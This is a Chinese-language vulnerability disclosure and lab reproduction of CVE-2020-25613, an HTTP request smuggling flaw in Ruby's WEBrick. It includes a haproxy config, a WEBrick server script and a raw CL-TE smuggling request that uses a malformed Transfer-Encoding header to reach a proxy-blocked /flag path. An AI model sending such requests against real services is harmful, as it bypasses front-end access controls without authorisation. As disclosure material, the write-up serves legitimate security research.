漏洞摘要
webrick是ruby自带的一个http服务模块,支持Transfer-Encoding和Content-Length,但是在校验时,仅用了简单的正则校验,阅读代码后确认存在HTTP Request Smuggling,提交到hackerone,成功薅到一枚CVE:CVE-2020-25613
漏洞复现
使用haproxy作为前端代理演示漏洞,CL-TE型利用
配置前端代理haproxy 1.5.3,配置文件haproxy.cfg,配置文件禁止了对/flag目录的访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| global daemon maxconn 256
defaults mode http timeout connect 5000ms timeout client 50000ms timeout server 50000ms
frontend http-in bind *:80 default_backend servers acl url_403 path_beg -i /flag http-request deny if url_403
backend servers server server1 127.0.0.1:8080 maxconn 32
|
配置后端webrick HTTP服务脚本http_server.rb,脚本对/flag目录访问返回设置内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #!/usr/bin/env ruby
require 'webrick'
server = WEBrick::HTTPServer.new( :Port => 8080, )
server.mount_proc '/' do |req, res| res.body = 'hello world' end
server.mount_proc '/flag' do |req, res| res.body = 'flag is 123456' end
server.start
|
POC
1 2 3 4 5 6 7 8 9 10 11 12
| POST / HTTP/1.1 Host: 127.0.0.1 Transfer-Encoding: AAA chunked BBB Connection: keep-alive Content-Length: 50
1 A 0
GET /flag HTTP/1.1 Host: 127.0.0.1
|
使用POC发包后,前端代理haproxy识别到无效头Transfer-Encoding: AAA chunked BBB,从而认为数据包是Content-Length型HTTP请求,把50字节数据传递给后端webrick。
webrick收到前端转发给他的HTTP请求后,使用存在漏洞的正则检查无效头Transfer-Encoding: AAA chunked BBB,检查通过,认为自己收到了一个Transfer-Encoding型HTTP请求,把0\r\n前的数据作为一个HTTP请求,0\r\n后的数据作为另一个HTTP请求,最终导致HTTP Request Smuggling。
POC攻击成功,将绕过前端代理haproxy对/flag目录的访问限制。